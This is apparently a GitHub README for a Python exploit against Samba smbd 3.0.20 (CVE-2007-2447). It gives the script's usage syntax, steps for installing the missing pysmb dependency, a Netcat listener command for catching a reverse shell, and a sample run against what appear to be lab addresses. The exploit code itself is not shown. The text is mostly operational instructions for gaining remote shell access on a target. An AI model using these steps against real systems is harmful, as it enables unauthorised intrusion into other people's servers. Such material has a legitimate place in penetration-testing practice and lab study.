N3rdyN3xus / CVE-2007-2447

Exploit Samba smbd 3.0.20-Debian
2 stars 0 forks source link

CVE-2007-2447

🖥️ -n3rdyn3xus- #️⃣ CVE-2007-2447

python3 smb3.0.20.py -lh [localhost] -lp [local port] -t [target]

Error

image

The error you're encountering indicates that the Python script is trying to import a module named smb, but it is not installed on your system. The smb module is part of the pysmb library, which allows you to interact with SMB/CIFS servers.

To resolve this issue, you need to install the pysmb library. You can do this using pip. Here's how:

  1. Install pysmb:
pip install pysmb
  1. Verify the installation: After installing, you can verify that the pysmb module is installed by running:
    python -c "import smb; print('pysmb is installed')"

image

Create a Netcat listener

nc -nlvp 4444

Run the script

python3 smb3.0.20.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3

image

image